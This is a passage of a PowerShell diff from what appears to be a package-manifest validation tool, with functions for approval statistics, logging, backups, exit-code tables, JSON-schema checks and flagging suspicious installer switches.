Measure-Object -sum).sum + [int]$Fail = ($out.("Fail") | Measure-Object -sum).sum + [int]$TotalCount = ($out.TotalCount | Measure-Object -sum).sum + $SuccessRate = ($New + $Success) / $TotalCount + + $mid = $Enum.Char.Blank | Select-Object @{n="Day";e={$Day}}, @{n="New";e={$New}}, @{n="Success";e={$Success}}, @{n="Fail";e={$Fail}}, @{n="TotalCount";e={$TotalCount}}, @{n="SuccessRate";e={$SuccessRate}} + $out += $mid + + Return $out +} + +Function Get-VMMinutesPerPackage { + Param( + [string]$Day = (Get-Date -Format "dd"), + [string]$Month = (Get-Date -Format "MMMM") + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-VMMinutesPerPackage $Day"}; + $Path = "C:\ManVal\write\logs\$Month\$Day" + if (test-path $Path) { + $ChildItem = Get-ChildItem $Path + } else { + mkdir $Path + $ChildItem = Get-ChildItem $Path + } + + $count = $ChildItem.LastWriteTime.count + $LastWriteTime = $ChildItem.LastWriteTime | sort -Descending + $minutes = ($LastWriteTime[0] - $LastWriteTime[-1]).totalminutes + $MinutesEach = $minutes/$count + # Write-Host "Each PR takes : $MinutesEach" + Return $MinutesEach +} + +#Write +Function Write-ApprovalStats { + Param( + [string]$PRsApprovedDuringLastRun, + [string]$LastRunTookSeconds, + [string]$SleepUntil, + $DateTime = (get-date -f s), + [Switch]$Silent, + [Switch]$WhatIf + ) + if (($FunctionTrace) -OR !($Silent)) {Write-FunctionTrace "Write-ApprovalStats $DateTime"}; + # $out = "$DateTime,$PR, $Switch, $LineNos, $Trigger" | ConvertTo-Csv -NoHeader + + $out = $Enum.Char.Blank | Select-Object DateTime,PRsApprovedDuringLastRun,LastRunTookSeconds,AvgSecPerPR,SleepUntil + $out.DateTime = get-date $DateTime -f s + $out.PRsApprovedDuringLastRun = $PRsApprovedDuringLastRun + $out.LastRunTookSeconds = $LastRunTookSeconds + $out.AvgSecPerPR = $out.LastRunTookSeconds / $out.PRsApprovedDuringLastRun + $out.SleepUntil = $SleepUntil + $out = $out | ConvertTo-Csv -NoHeader + if ($WhatIf) { + Write-Host "WhatIf: Out-File $ApprovalStatsFile -Encoding unicode -Append" + Write-Host '"DateTime","PRsApprovedDuringLastRun","LastRunTookSeconds","AvgSecPerPR","SleepUntil"' + Write-Host $out + } else { + if (!($Silent)) { + Write-Host "Writing $($out.Length) characters to $ApprovalStatsFile." + } + if ($out.Length -gt 0) { + if ($out.PRsApprovedDuringLastRun -gt 0) { + $out | Out-File $ApprovalStatsFile -Append + } + } + } +} + +Function Write-Status { + Param( + $out, + [Switch]$Silent, + [Switch]$NoClobber, + $OutFile = $StatusFile + ) + if (($FunctionTrace) -OR !($Silent)) {Write-FunctionTrace "Write-Status Writing $($out.Length) lines to $OutFile."}; + if ($out.Length -gt $Enum.Num.Zero) { + $out | ConvertTo-Csv | Out-File $OutFile -Encoding unicode + } +} + +Function Write-FunctionTrace { + Param( + $out, + [string]$OutFile = $FunctionTraceFileName + ) + # if (($FunctionTrace) -OR !($Silent)) {"Write-FunctionTrace Writing $($out.Length) lines to $OutFile." | Out-File $OutFile -Encoding unicode -Append}; + if ($out.Length -gt $Enum.Num.Zero) { + $out | Out-File $OutFile -Encoding unicode -Append + } +} + +Function Write-CovertReviewFile { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [ValidateSet("Silent","SilentWithProgress","Interactive","InstallLocation","Log","Upgrade","Custom","Repair")] + [string]$Switch, + [string]$Trigger, + [string]$LineNos, + $DateTime = (get-date -f s), + [Switch]$Silent + ) + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Write-CovertReviewFile $PR"}; + + # $out = "$DateTime,$PR, $Switch, $LineNos, $Trigger" | ConvertTo-Csv -NoHeader + $out = $Enum.Char.Blank | Select-Object DateTime,PR,Switch,LineNos,Trigger + $out.DateTime = $DateTime + $out.PR = $PR + $out.Switch = $Switch + $out.LineNos = $LineNos + $out.Trigger = $Trigger + $out = $out | ConvertTo-Csv -NoHeader + if (!($Silent)) { + Write-Host "Writing $($out.Length) characters to $CovertReviewFile." + } + if ($out.Length -gt 0) { + $out | Out-File $CovertReviewFile -Append + } +} + +Function Write-Log { + Param( + [string]$logData, + [string]$ForegroundColor = "Gray", + [string]$Month = (Get-Culture).DateTimeFormat.GetMonthName((Get-Date).Month), + [string]$Today = (get-date -f MMddyy), + [string]$FileName = "$logsFolder\$Month\$Today-Approval.log", + [switch]$NoNewLine + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Write-Log $Today"}; + md "$logsFolder\$Month\" -ErrorAction SilentlyContinue + if ($NoNewLine) { + Write-Host $logData -ForegroundColor $ForegroundColor -NoNewLine + # Add-Content -LiteralPath $FileName -Value $logData + $logData | Out-File $FileName -Append -NoNewline # -Encoding unicode + } else { + Write-Host $logData -ForegroundColor $ForegroundColor + $logData | Out-File $FileName -Append # -Encoding unicode + } +}; + +#Backup +Function Get-BackupDataFIles { + Param ( + $path = "$RepoFolder\Backups\$date.zip" + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-BackupDataFIles $path"}; + $date = (get-Date -f s) -replace("\:","_") + # $path = "$RepoFolder\Backups\$date\" + # md $path + md "$RepoFolder\Backups\" + Compress-Archive -Path $RepoFolder -DestinationPath $path +} + +#ExitCodes +Function Get-UpdateExitCodeFile { + Param( + $FileName = $ExitCodeFile, + $ExitCodes = (Get-Content $FileName | ConvertFrom-Csv) + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-UpdateExitCodeFile $FileName"}; + try { + $ExitCodes | %{$_.dec = [System.Convert]::ToInt32($_.Hex,16)} + } catch {} + try { + $ExitCodes | %{if ($_.dec -ge 0) {$_.invDec = $_.dec - 4GB}else {$_.invDec = $_.dec + 4GB}} + } catch {} + $ExitCodes | select "Hex","Dec","InvDec","Symbol","Description" -unique | sort hex | ConvertTo-Csv | clip +} + +Function Get-UpdateExitCodeFile2 { + Param( + $FileName = $ExitCodeFile, + $ExitCodes = (Get-Content $FileName | ConvertFrom-Csv) + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-UpdateExitCodeFile2 $FileName"}; + for ($i = 0; $i -lt $ExitCodes.count; $i++){ + if ($ExitCodes[$i].hex -match $ExitCodes[$i+1].hex){ + if ($ExitCodes[$i].Symbol -eq "") { + $ExitCodes[$i].Symbol += $ExitCodes[$i+1].Symbol; + } + if ($ExitCodes[$i].Symbol -eq "") { + $ExitCodes[$i] = $null; + } + if ($ExitCodes[$i].Description -eq "") { + $ExitCodes[$i].Description += $ExitCodes[$i+1].Description; + }#end if ExitCodes.Description + if ($ExitCodes[$i].Description -eq "") { + $ExitCodes[$i] = $null; + } + }#end if ExitCodes.hex + } + $ExitCodes | select "Hex","Dec","InvDec","Symbol","Description" -unique | sort hex | ConvertTo-Csv | clip +} + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +################################ - Security - ################################ +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Function Get-ManifestCovertReview { + Param( + [string]$StringToReview, + [switch]$WhatIf + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ManifestCovertReview"}; #end if display + [bool]$ReturnValue = $True + foreach ($Switch in (Get-Keys $Enum.CovertReviewtSwitches)) { + foreach ($Key in (Get-Keys $Enum.CovertReviewKeys)) { + $Detected = Get-SchemaCheck -YamlKey $Switch -SchemaInfo $MVschemaData.CovertReview.($Key) -InputData $StringToReview + if ($Detected) { + $ReturnValue = $False + if ($WhatIf) {Write-Host "$Key Detected"} + [string]$Trigger = "$Key - $($Detected -join ',')" + if ($WhatIf) { + "Write-CovertReviewFile -PR $PR -Switch $Switch -Trigger $Trigger -LineNos $LineNos" + } else { + Write-CovertReviewFile -PR $PR -Switch $Switch -Trigger $Trigger + } + } + }#end foreach Key + }#end foreach Switch + Return $ReturnValue +} + +Function Get-SchemaCheck { + Param( + [string]$InputData, + [string]$YamlValue, + $SchemaInfo, + [switch]$Display #Only use debug for troubleshooting with verified internally-generated data, never with untested external data. + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-SchemaCheck File: $($SchemaInfo.description)"}; #end if display + #Diagnostic check, to see how many checks are being run. If it starts to slow down or get laggy. + # [int]$num = ([int](gc $SchemaCheckFile) +1);Out-File -FilePath $SchemaCheckFile -InputObject $num + $Tombstone = $Enum.Strings.FastFailTombstone + + try { + [System.Collections.ArrayList]$SchemaKeys = Get-Keys $SchemaInfo + if (!($SchemaKeys)){ + if ($Display) {Write-Host "Get-SchemaCheck Schema empty FastFail mandatory but missing!!!"}; + Return $Tombstone + } + if ($Display) {Write-Host "Get-SchemaCheck Schema contains: $SchemaKeys"}; + if ($Display) {Write-Host "Get-SchemaCheck Schema description: $($SchemaInfo.description)"}; + $SchemaKeys.Remove($Enum.SchemaKeysEtc.Description) + + [bool]$Optional = $False + if ($SchemaInfo.type -contains $Enum.SchemaKeysEtc.Null) { + $Optional = $True + } else { + $Optional = $False + } + if ($Display) {Write-Host "Get-SchemaCheck InputData: $InputData"}; + $DataToVerify = $null + $Output = $Null + + if ($YamlValue) {#Yaml, Json, etc + if ($Display) {Write-Host "Get-SchemaCheck MatchWith: $YamlValue"}; + if ($InputData -match $YamlValue) {#Yaml, Json, etc + [string]$mid = Get-YamlValue -Key $YamlValue -InputArray $InputData + if ($Display) {Write-Host "Get-SchemaCheck mid: $mid"}; + #Data can only be a string here. This is to allow the other variables to remain loosely-typed, for the other sections. + $DataToVerify = $mid + } + } else { + $DataToVerify = $InputData + } + if ($Display) {Write-Host "Get-SchemaCheck DataToVerify: $DataToVerify"}; + + [string]$Item = $Enum.SchemaKeysEtc.Type + [string]$integer = $Enum.SchemaKeysEtc.Integer + if ($SchemaInfo.($Item)) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Start"}; + $SchemaKeys.Remove($item) + $SchemaStrand = ($SchemaInfo.($Item) | where {$_ -ne $Enum.SchemaKeysEtc.Null}) + if ($SchemaStrand -eq $integer) {#If type is int + [int]$mid = $DataToVerify + $DataStrand = $mid.gettype().name -replace $Enum.SchemaKeysEtc.Int32,$integer + if ($DataStrand -eq $SchemaStrand) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item $Integer Pass"}; + } else { + if ($Optional) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item $Integer optional"}; + Return $Null + } else { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item $Integer FastFail mandatory but not matching!!!"}; + Return $Tombstone + }# end if Optional + }# end if DataStrand + } else {#All other types + $DataStrand = $DataToVerify.gettype().name + if ($DataStrand -eq $SchemaStrand) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item $SchemaStrand Pass"}; + } else { + if ($Optional) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item $SchemaStrand optional"}; + Return $Null + } else { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item $SchemaStrand FastFail mandatory but not matching!!!"}; + Return $Tombstone + }# end if Optional + }# end if DataStrand + }; #end if type + }#end if SchemaInfo + $Item = $Enum.SchemaKeysEtc.Constant + if ($SchemaInfo.($Item)) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Start $DataToVerify"}; + $SchemaKeys.Remove($item) + $DataStrand = $DataToVerify + $SchemaStrand = $SchemaInfo.($Item) + if ($DataStrand -eq $SchemaStrand) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Pass"}; + } else { + if ($Optional) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item optional"}; + Return $Null + } else { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item FastFail mandatory but not matching!!!"}; + Return $Tombstone + }# end if Optional + }# end if DataStrand + }#end if SchemaInfo + $Item = $Enum.SchemaKeysEtc.title + if ($SchemaInfo.($Item)) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Start $DataToVerify"}; + $SchemaKeys.Remove($item) + $DataStrand = $DataToVerify + $SchemaStrand = $SchemaInfo.($Item) + # if ($DataStrand -match $SchemaStrand) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Pass"}; + # } else { + # if ($Optional) { + # if ($Display) {Write-Host "Get-SchemaCheck Schema $Item optional"}; + # Return $Null + # } else { + # if ($Display) {Write-Host "Get-SchemaCheck Schema $Item FastFail mandatory but not matching!!!"}; + # Return $Tombstone + # }# end if Optional + # }# end if DataStrand + }#end if SchemaInfo + $Item = $Enum.SchemaKeysEtc.Default + if ($SchemaInfo.($Item)) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Start $DataToVerify"}; + $SchemaKeys.Remove($item) + $DataStrand = $DataToVerify + $SchemaStrand = $SchemaInfo.($Item) + # if ($DataStrand -match $SchemaStrand) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Pass"}; + # } else { + # if ($Optional) { + # if ($Display) {Write-Host "Get-SchemaCheck Schema $Item optional"}; + # Return $Null + # } else { + # if ($Display) {Write-Host "Get-SchemaCheck Schema $Item FastFail mandatory but not matching!!!"}; + # Return $Tombstone + # }# end if Optional + # }# end if DataStrand + }#end if SchemaInfo + $Item = $Enum.SchemaKeysEtc.Pattern + if ($SchemaInfo.($Item)) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Start $DataToVerify"}; + $SchemaKeys.Remove($item) + $DataStrand = $DataToVerify + $SchemaStrand = $SchemaInfo.($Item) -replace "/","\/" #PowerShell requires escaping the forward slashes. + if ($DataStrand -match $SchemaStrand) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Pass"}; + } else { + if ($Optional) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item optional"}; + Return $Null + } else { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item FastFail mandatory but not matching!!!"}; + Return $Tombstone + }# end if Optional + }# end if DataStrand + }#end if SchemaInfo + $Item = $Enum.SchemaKeysEtc.Enum + if ($SchemaInfo.($Item)) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Start"}; + $SchemaKeys.Remove($item) + $DataStrand = $DataToVerify + # $DataToVerify = $null + $SchemaStrand = $SchemaInfo.($Item) + foreach ($Strand in $SchemaStrand) { + if ($DataStrand -eq $Strand) { + if ($Display) {Write-Host "Get-SchemaCheck Schema DataStrand $DataStrand Strand $Strand"}; + # $DataToVerify += $Strand + }# end if DataStrand + }# end foreach Strand + if ($DataToVerify) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Pass"}; + } else { + if ($Optional) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item optional"}; + Return $Null + } else { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item FastFail mandatory but not matching!!!"}; + Return $Tombstone + }# end if Optional + }# end if DataToVerify + }#end if SchemaInfo + $Item = $Enum.SchemaKeysEtc.minLength + if ($SchemaInfo.($Item)) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Start"}; + $SchemaKeys.Remove($item) + $DataStrand = $DataToVerify.length + $SchemaStrand = $SchemaInfo.($Item) + if ($DataStrand -ge $SchemaStrand) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Pass"}; + } else { + if ($Optional) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item optional"}; + Return $Null + } else { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item FastFail mandatory but too short!!!"}; + Return $Tombstone + }# end if Optional + }# end if DataStrand + }#end if SchemaInfo + $Item = $Enum.SchemaKeysEtc.maxLength + if ($SchemaInfo.($Item)) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Start"}; + $SchemaKeys.Remove($item) + $DataStrand = $DataToVerify.length + $SchemaStrand = $SchemaInfo.($Item) + if ($DataStrand -le $SchemaStrand) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item Pass"}; + } else { + if ($Optional) { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item optional"}; + Return $Null + } else { + if ($Display) {Write-Host "Get-SchemaCheck Schema $Item FastFail mandatory but too long!!!"}; + Return $Tombstone + }# end if Optional + }# end if DataStrand + }#end if SchemaInfo + if ($SchemaKeys) { + if ($Optional) { + if ($Display) {Write-Host "Get-SchemaCheck Unverified schema keys: $SchemaKeys"}; + Return $Null + } else { + if ($Display) {Write-Host "Get-SchemaCheck Error: Unverified schema keys FastFail mandatory but missing: $SchemaKeys" -f red}; + Return $Tombstone + } + } else { + return $DataToVerify + } + } catch { + if ($Display) {Write-Host "Get-SchemaCheck Schema Error FastFail: $($Error[0])"}; + # Return $Tombstone + } +}# end Function + +Function Get-SchemaFinder { + Param( + [ValidateScript( { $_ -in (Get-Values $Enum.ManifestFileTypeNames) } )][string]$File, + [ValidateScript( { $_ -in ((Get-Keys $Enum.ManifestDefaultLocaleProperties) -OR (Get-Keys $Enum.ManifestInstallerProperties)-OR (Get-Keys $Enum.ManifestLocaleProperties)-OR (Get-Keys $Enum.ManifestVersionProperties)) } )][string]$Property, + [switch]$Display + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-SchemaFinder File: $File - $Property"}; #end if display + + Switch ($File) { + $Enum.ManifestFileTypeNames.Installer { + Switch ($Property) { + $enum.ManifestinstallerProperties.Dependencies { + $schemaData.($File).definitions.($Property) + } + $enum.ManifestinstallerProperties.WindowsFeatures { + $schemaData.($File).definitions.Dependencies.Properties.($Property) + } + $enum.ManifestinstallerProperties.WindowsLibraries { + $schemaData.($File).definitions.Dependencies.Properties.($Property) + } + $enum.ManifestinstallerProperties.PackageDependencies { + $schemaData.($File).definitions.Dependencies.Properties.($Property) + } + $enum.ManifestinstallerProperties.ExternalDependencies { + $schemaData.($File).definitions.Dependencies.Properties.($Property) + } + $enum.ManifestinstallerProperties.ExpectedReturnCodes { + $schemaData.($File).definitions.($Property) + } + $enum.ManifestinstallerProperties.ExpectedReturnCode { + $schemaData.($File).definitions.ExpectedReturnCodes.items + } + $enum.ManifestinstallerProperties.InstallerReturnCode { + $schemaData.($File).definitions.($Property) + } + $enum.ManifestinstallerProperties.ReturnResponse { + $schemaData.($File).definitions.ExpectedReturnCodes.items.Properties.($Property) + } + $enum.ManifestinstallerProperties.ReturnResponseUrl { + $schemaData.($File).definitions.ExpectedReturnCodes.items.Properties.($Property) + } + $enum.ManifestinstallerProperties.Installers { + $schemaData.($File).Properties.($Property) + } + $enum.ManifestinstallerProperties.InstallerSwitches { + $schemaData.($File).definitions.($Property) + } + $enum.ManifestinstallerProperties.Silent { + $schemaData.($File).definitions.InstallerSwitches.Properties.($Property) + } + $enum.ManifestinstallerProperties.SilentWithProgress { + $schemaData.($File).definitions.InstallerSwitches.Properties.($Property) + } + $enum.ManifestinstallerProperties.Interactive { + $schemaData.($File).definitions.InstallerSwitches.Properties.($Property) + } + $enum.ManifestinstallerProperties.InstallLocation { + $schemaData.($File).definitions.InstallerSwitches.Properties.($Property) + } + $enum.ManifestinstallerProperties.InstallMode { + $schemaData.($File).definitions.InstallModes.items + } + $enum.ManifestinstallerProperties.Log { + $schemaData.($File).definitions.InstallerSwitches.Properties.($Property) + } + $enum.ManifestinstallerProperties.Upgrade { + $schemaData.($File).definitions.InstallerSwitches.Properties.($Property) + } + $enum.ManifestinstallerProperties.Custom { + $schemaData.($File).definitions.InstallerSwitches.Properties.($Property) + } + $enum.ManifestinstallerProperties.Repair { + $schemaData.($File).definitions.InstallerSwitches.Properties.($Property) + } + $enum.ManifestinstallerProperties.Platform_Items { + $schemaData.($File).definitions.Platform.items + } + $enum.ManifestinstallerProperties.NestedInstallerFiles_Items { + $schemaData.($File).definitions.NestedInstallerFiles.items + } + $enum.ManifestinstallerProperties.InstallModes_Items { + $schemaData.($File).definitions.InstallModes.items + } + $enum.ManifestinstallerProperties.InstallerSuccessCodes_Items { + $schemaData.($File).definitions.InstallerReturnCodes + } + $enum.ManifestinstallerProperties.ExpectedReturnCodes_Items { + $schemaData.($File).definitions.ExpectedReturnCodes.items + } + $enum.ManifestinstallerProperties.Commands_Items { + $schemaData.($File).definitions.Commands.items + } + $enum.ManifestinstallerProperties.Protocols_Items { + $schemaData.($File).definitions.Protocols.items + } + $enum.ManifestinstallerProperties.FileExtensions_Items { + $schemaData.($File).definitions.FileExtensions.items + } + $enum.ManifestinstallerProperties.WindowsFeatures_Items { + $schemaData.($File).definitions.Dependencies.properties.WindowsFeatures.items + } + $enum.ManifestinstallerProperties.WindowsLibraries_Items { + $schemaData.($File).definitions.Dependencies.properties.WindowsLibraries.items + } + $enum.ManifestinstallerProperties.ExternalDependencies_Items { + $schemaData.($File).definitions.Dependencies.properties.ExternalDependencies.items + } + $enum.ManifestinstallerProperties.Capabilities_Items { + $schemaData.($File).definitions.Capabilities.items + } + $enum.ManifestinstallerProperties.RestrictedCapabilities_Items { + $schemaData.($File).definitions.RestrictedCapabilities.items + } + $enum.ManifestinstallerProperties.MarketArray_Items { + $schemaData.($File).definitions.Market + } + $enum.ManifestinstallerProperties.UnsupportedOSArchitectures_Items { + $schemaData.($File).definitions.UnsupportedOSArchitectures.items + } + $enum.ManifestinstallerProperties.UnsupportedArguments_Items { + $schemaData.($File).definitions.UnsupportedArguments.items + } + $enum.ManifestinstallerProperties.AppsAndFeaturesEntries_Items { + $schemaData.($File).definitions.Commands.items + } + $enum.ManifestinstallerProperties.ManifestType { + $schemaData.($File).Properties.($Property) + } + $enum.ManifestinstallerProperties.ManifestVersion { + $schemaData.($File).Properties.($Property) + } + $enum.ManifestinstallerProperties.Platform { + $schemaData.($File).definitions.($Property) + } + $enum.ManifestinstallerProperties.Protocols { + $schemaData.($File).definitions.($Property) + } + $enum.ManifestinstallerProperties.RestrictedCapabilities { + $schemaData.($File).definitions.($Property) + } + $enum.ManifestinstallerProperties.UnsupportedArguments { + $schemaData.($File).definitions.($Property) + } + $enum.ManifestinstallerProperties.UnsupportedOSArchitectures { + $schemaData.($File).definitions.($Property) + } + $enum.ManifestinstallerProperties.UpgradeBehavior { + $schemaData.($File).definitions.($Property) + } + $enum.ManifestinstallerProperties.UpgradeCode { + $schemaData.($File).definitions.($Property) + } + $enum.ManifestinstallerProperties.DisplayName { + $schemaData.($File).definitions.AppsAndFeaturesEntry.Properties.($Property) + } + $enum.ManifestinstallerProperties.Publisher { + $schemaData.($File).definitions.AppsAndFeaturesEntry.Properties.($Property) + } + $enum.ManifestinstallerProperties.DisplayVersion { + $schemaData.($File).definitions.AppsAndFeaturesEntry.Properties.($Property) + } + $enum.ManifestinstallerProperties.PortableCommandAlias { + $schemaData.($File).definitions.NestedInstallerFiles.items.properties.PortableCommandAlias + } + $enum.ManifestinstallerProperties.RelativeFilePath { + $schemaData.($File).definitions.NestedInstallerFiles.items.properties.RelativeFilePath + } + $enum.ManifestinstallerProperties.InstallerLocale { + $schemaData.($File).definitions.Locale + } + $enum.ManifestinstallerProperties.InstallerSha256 { + $schemaData.($File).definitions.installer.Properties.($Property) + } + $enum.ManifestinstallerProperties.InstallerUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestinstallerProperties.SignatureSha256 { + $schemaData.($File).definitions.installer.Properties.($Property) + } + Default { + $schemaData.($File).definitions.($Property) + } + }#end switch + }# END installer + $Enum.ManifestFileTypeNames.DefaultLocale { + Switch ($Property) { + $enum.ManifestDefaultLocaleProperties.Agreements { + $schemaData.($File).definitions.Agreement + } + $enum.ManifestDefaultLocaleProperties.Agreement { + $schemaData.($File).definitions.Agreement.Properties.($Property) + } + $enum.ManifestDefaultLocaleProperties.AgreementLabel { + $schemaData.($File).definitions.Agreement.Properties.($Property) + } + $enum.ManifestDefaultLocaleProperties.AgreementUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestDefaultLocaleProperties.Description_Items { + $schemaData.($File).properties.Description + } + $enum.ManifestDefaultLocaleProperties.Documentations { + $schemaData.($File).definitions.Documentation + } + $enum.ManifestDefaultLocaleProperties.Documentation { + $schemaData.($File).definitions.($Property) + } + $enum.ManifestDefaultLocaleProperties.DocumentLabel { + $schemaData.($File).definitions.Documentation.Properties.($Property) + } + $enum.ManifestDefaultLocaleProperties.DocumentUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestDefaultLocaleProperties.Moniker { + $schemaData.($File).definitions.Tag + } + $enum.ManifestDefaultLocaleProperties.CopyrightUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestDefaultLocaleProperties.PrivacyUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestDefaultLocaleProperties.PurchaseUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestDefaultLocaleProperties.PublisherUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestDefaultLocaleProperties.PublisherSupportUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestDefaultLocaleProperties.PackageUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestDefaultLocaleProperties.LicenseUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestDefaultLocaleProperties.ReleaseNotesUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestDefaultLocaleProperties.Icons { + $schemaData.($File).Properties.($Property) + } + $enum.ManifestDefaultLocaleProperties.Icons_Items { + $schemaData.($File).definitions.Icon + } + $enum.ManifestDefaultLocaleProperties.Icon { + $schemaData.($File).definitions.($Property) + } + $enum.ManifestDefaultLocaleProperties.IconUrl { + $schemaData.($File).definitions.Icon.Properties.($Property) + } + $enum.ManifestDefaultLocaleProperties.IconFileType { + $schemaData.($File).definitions.Icon.Properties.($Property) + } + $enum.ManifestDefaultLocaleProperties.IconResolution { + $schemaData.($File).definitions.Icon.Properties.($Property) + } + $enum.ManifestDefaultLocaleProperties.IconTheme { + $schemaData.($File).definitions.Icon.Properties.($Property) + } + $enum.ManifestDefaultLocaleProperties.IconSha256 { + $schemaData.($File).definitions.Icon.Properties.($Property) + } + $enum.ManifestDefaultLocaleProperties.Tag { + $schemaData.($File).definitions.($Property) + } + $enum.ManifestLocaleProperties.Tags_Items { + $schemaData.($File).definitions.Tag + } + $enum.ManifestDefaultLocaleProperties.Url { + $schemaData.($File).definitions.($Property) + } + Default { + $schemaData.($File).Properties.($Property) + } + }# end switch + }# END DefaultLocale + $Enum.ManifestFileTypeNames.Locale { + Switch ($Property) { + $enum.ManifestLocaleProperties.Agreements { + $schemaData.($File).definitions.Agreement + } + $enum.ManifestLocaleProperties.Agreement { + $schemaData.($File).definitions.Agreement.Properties.($Property) + } + $enum.ManifestLocaleProperties.AgreementLabel { + $schemaData.($File).definitions.Agreement.Properties.($Property) + } + $enum.ManifestLocaleProperties.AgreementUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestLocaleProperties.CopyrightUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestLocaleProperties.PrivacyUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestDefaultLocaleProperties.PurchaseUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestLocaleProperties.PublisherUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestLocaleProperties.PublisherSupportUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestLocaleProperties.PackageUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestLocaleProperties.LicenseUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestLocaleProperties.ReleaseNotesUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestLocaleProperties.Documentation { + $schemaData.($File).definitions.($Property) + } + $enum.ManifestLocaleProperties.DocumentLabel { + $schemaData.($File).definitions.Documentation.Properties.($Property) + } + $enum.ManifestLocaleProperties.DocumentUrl { + $schemaData.($File).definitions.Url + } + $enum.ManifestLocaleProperties.Icon { + $schemaData.($File).definitions.($Property) + } + $enum.ManifestLocaleProperties.Icons_Items { + $schemaData.($File).definitions.Icon + } + $enum.ManifestLocaleProperties.IconUrl { + $schemaData.($File).definitions.Icon.Properties.($Property) + } + $enum.ManifestLocaleProperties.IconFileType { + $schemaData.($File).definitions.Icon.Properties.($Property) + } + $enum.ManifestLocaleProperties.IconResolution { + $schemaData.($File).definitions.Icon.Properties.($Property) + } + $enum.ManifestLocaleProperties.IconTheme { + $schemaData.($File).definitions.Icon.Properties.($Property) + } + $enum.ManifestLocaleProperties.IconSha256 { + $schemaData.($File).definitions.Icon.Properties.($Property) + } + $enum.ManifestLocaleProperties.Tag { + $schemaData.($File).definitions.($Property) + } + $enum.ManifestLocaleProperties.Tags_Items { + $schemaData.($File).definitions.Tag + } + $enum.ManifestLocaleProperties.Url { + $schemaData.($File).definitions.($Property) + } + Default { + $schemaData.($File).Properties.($Property) + } + }# end switch + }# END Locale + #$Enum.ManifestFileTypeNames.Version uses the default for everything. + Default { + $schemaData.($File).Properties.($Property) + } + }# end switch +} + +Function Get-QueryCheck { + Param( + [string]$Item = $Enum.SchemaKeysEtc.SkipToContent, + [string]$String, + $Schema = $MVschemaData.General.($Item), + [ValidateSet("string","bool")][string]$ReturnType + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-QueryCheck $($Schema.description)"}; + if ($Item) { + if ($String -match $Item) { + if ($debug) {Write-Host 